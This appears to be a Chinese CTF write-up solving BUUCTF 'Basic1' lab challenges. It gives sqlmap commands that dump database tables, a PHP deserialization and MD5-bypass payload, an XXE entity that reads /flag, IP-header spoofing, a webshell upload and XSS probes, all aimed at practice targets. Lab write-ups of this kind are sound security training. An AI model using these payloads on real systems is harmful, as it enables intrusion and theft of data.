【BUUCTF练习——Basic1】
1、Linux Labs
查看题目
打开网页后看源码也没看出什么了,由题目推测就是连接ssh,可以用kali或者xshell,我这用的kali
1、用whatweb命令看看服务器IP,117.21.200.176
// An highlighted block
whatweb http://b4519574-9646-471d-ab04-b8330b88f792.node5.buuoj.cn:81/?C=S;O=A;
2、接着使用ssh命令,用户名@地址 -p 端口号。注意:这里因为不是常规的22端口连接,需要特别加-p这个参数后面跟上端口号(ps:用户名、密码、端口号在题目里面已经给了)
// An highlighted block
ssh root@117.21.200.176 -p 29930
3、成功登录进去,ls看看当前目录,啥也没有,cd到根目录,看到flag.txt,cat查看,获取到flag
2、BUU BRUTE 1
1、打开靶机,用户名尝试root和admin,到admin的时候提示密码错误,为四位数字,尝试爆破。
2、打开burp,抓包,密码的位置添加playload
3、四位数字嘛,按图设置好,开始爆破
4、根据长度不同,爆破出密码为6490,查看响应,获取到flag
3、BUU SQL COURSE
1、都点了一遍,没发现可以注入攻击的地方,尝试抓个包
2、点测试新闻1、2、3都行,发现了注入点
3、上sqlmap,sqlmpa -u 地址
// An highlighted block
sqlmap -u 15d69d9a-ee9c-40c1-a01c-3f6c36e67c9b.node5.buuoj.cn:81/backend/content_detail.php?id=1
4、查看当前数据库
// An highlighted block
sqlmap -u 15d69d9a-ee9c-40c1-a01c-3f6c36e67c9b.node5.buuoj.cn:81/backend/content_detail.php?id=1 --current-db
5、爆表
// An highlighted block
sqlmap -u 15d69d9a-ee9c-40c1-a01c-3f6c36e67c9b.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D news -tables
6、查看admin表的所有信息,获取到管理员的账号密码
// An highlighted block
sqlmap -u 15d69d9a-ee9c-40c1-a01c-3f6c36e67c9b.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D news -T admin --dump
7、登录,获取flag
4、BUU CODE REVIEW 1
代码审计:
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU { //创建一个类
public $correct = ""; //公有属性
public $input = ""; //公有属性
public function __destruct() { //公有析构方法__destruct(),在当前类的实例化对象销毁前,自动被调用
try {
$this->correct = base64_encode(uniqid()); //给correct赋值为base64_encode(uniqid()) //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
if($this->correct === $this->input) {
echo file_get_contents("/flag"); //courrect 和input强相等,输出flag文件
}
} catch (Exception $e) { //抓获错误信息
}
}
}
if($_GET['pleaseget'] === '1') { //get传参,pleaseget等于1
if($_POST['pleasepost'] === '2') { //post传参,oleaspost等于2
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { //post传参,md51弱相等md52
unserialize($_POST['obj']); //反序列化post传参,obj
}
}
}
来,一步一步解决。
一、解决md51弱相等md52
1、可以用科学计数法,原理是php里面在做 == 的时候会对哈希值进行比较,因为哈希是0e开头,php会认为它是科学计数法,而0的多少次方都是0。因此将0e开头的数字进行md5加密就可以了,常用的绕过值有:QNKCDZO、s155964671a、s1091221200a
2.数组绕过,原理是 md5 等函数不能处理数组,导致函数返回null。而null是等于null的,导致了绕过。例如:md51[]=1&md52[]=2
二、解决courrect 和input强相等
构造php语句,将obj的值序列化,再传进去。
<?php
class BUU{
public $correct="";
public $input="";
}
$obj = new BUU;
$obj->input=&$obj->correct; ////BUU类中的correct和input内容强相等,这里利用传引用的方法
echo serialize($obj);
?>
其实可以直接复制原文代码,加上echo serialize($obj)就行了,虽然会报错,但是也能有结果。
O:3:“BUU”:2:{s:7:“correct”;s:0:“”;s:5:“input”;R:2;}
最后,利用hackbar,传参。拿到flag{f3fe9a93-bce3-414a-a539-15d73c3b55e1}
http://22ee82d5-9cff-47a5-89cb-ed93dda4bac5.node5.buuoj.cn:81/?pleaseget=1
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
5、BUU UPLOAD COURSE 1
1、是个文件上传,首先我们可以想到的是上传一个php木马,然后上传,判断是什么过滤,然后一一测试。
随便上传一个文件,发现文件后缀被改成了jpg
2、用哥斯拉生成的一句话木马文件试试,文件名改为2.php,上传,连接
3、连接成功,查看跟目录,发现flag文件,提交
6、sqli-labs
打开发现是一个sql注入的练习靶场,这道题就做less-1找flag,可以依次都练练。
1、打开发现提示参数是id,?id测试一下,有回显,考虑直接上sqlmap
2、注入,看当前数据库
sqlmap -u http://6ad4120a-b69b-4698-8c67-00d15a05b036.node5.buuoj.cn/Less-1/?id=2 --current-db
3、直接就是一个看sercurity数据库里所有表(先查看过一共四个表)的数据的动作,结果没想到没有flag,那看来在其他数据库里
sqlmap -u http://6ad4120a-b69b-4698-8c67-00d15a05b036.node5.buuoj.cn/Less-1/?id=2 -D sercurity --dump
4、ctftraining这个库名看起来比较像有flag的样子,重复3步骤。
sqlmap -u http://6ad4120a-b69b-4698-8c67-00d15a05b036.node5.buuoj.cn/Less-1/?id=2 -D sercurity --dump
5、直接dump,过程中有密码存储问你要不要hash解密,输入N就行了,然后发现flag。当然先查看表,发现分别命名为flag,news,users,一眼flag,再dump里面的flag表也一样的。
sqlmap -u http://6ad4120a-b69b-4698-8c67-00d15a05b036.node5.buuoj.cn/Less-1/?id=2 -D ctftraining --dump
7、BUU BURP COURSE 1
1、打开网页,提示只能本地访问,burp抓包吧
2、在请求头里加伪造本地IP,发现返回了登录用户和密码
http请求头里可以用X-Forwarded-For,X-Real-IP
区别:
(1)X-Forwarded-For:是用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中并且用逗号分隔。
(2)X-Real-IP:一般只记录真实发出请求的客户端IP
3、登录后面发现也提示本地登录,那就再加一次请求头,拿到flag
8、BUU XXE COURSE 1
1、打开发现是一个登录页面,随便输入账号密码,发现有弹窗,抓包看看。
2、抓包发现xml,怀疑是xxe代码漏洞
(1)漏洞简介
XXE(XML External Entity Injection)即 “XML 外部实体注入漏洞”。
攻击者通过向服务器注入指定的 XML 实体内容,从而让服务器按照指定的配置执行,导致问题产生。(实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或外部进行声明。)
我们在向服务器上传的文档中使用外部实体 (通过引用定义在外部的 DTD 中的实体,我们称之为外部实体) 来访问我们的 flag
有人可能会问 flag 也不会是 dtd 文件啊,我们在使用外部实体访问的时候,会对我们访问的文件进行检查是否为 dtd 文件,此时如果没有检测的话,就可以引用非dtd文件
造成漏洞,这就是xxe
服务端接收和解析了来自用户端的 XML 数据,又没有做严格的安全控制,从而导致 XXE 漏洞得以被利用,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起 Dos 攻击等危害。
(2)参考链接:
xml语法
XXE的原理利用方式及修复
XML——XML文件约束之DTD详解
XML的实体–ENTITY
3、构造payload,拿到flag
<!DOCTYPE root[ //抓包可知文件名为root
<!ENTITY a SYSTEM "file:///flag"> //创建外部实体a,指向系统文件flag
]>
<root>
<name>&a;</name> //调用系统文件
</root>
ENTITY的定义语法:
<!DOCTYPE 文件名 [
<!ENTITY 实体名 "实体内容">
]>
定义好的ENTITY在文档中通过“&实体名;”来使用。
9、LFI labs1
进去后有提示,意思是将执行cmd参数的传参,试一下命令,直接拿flag
10、BUU XSS COURSE 1
小白步骤详细参考链接
如题,应该是xss漏洞
1、登录发现有吐槽和登录两个页面,先看吐槽页面,输入1,发现给了一个网页,打开发现显示了刚刚输入的1,试一下常用的xss playload。
这里可以判断,大概率是存储性XSS漏洞(是一种常见的网络安全漏洞,它允许攻击者将恶意脚本存储在服务器上,并在用户访问受影响页面时执行这些脚本。与反射型XSS不同,反射型XSS是瞬时的,通常依赖于用户提交的输入,而存储型XSS是持久性的,恶意脚本被永久存储在数据库或服务器上。)
2、常用的xss playload,发现用img标签的时候,返回了图片,说明存在漏洞
<script>alert(1)</script>
<img src="#">
<svg onload=alert(1)>
3、下面的步骤应该是找一个XSS的平台,然后把平台的payload上传到吐槽框里,再查看访问记录,利用admin的cookie值访问。但是,我找了几个XSS平台,都没有admin的访问记录,只抓到吐槽框页面的,根本不行啊,先放这记录吧。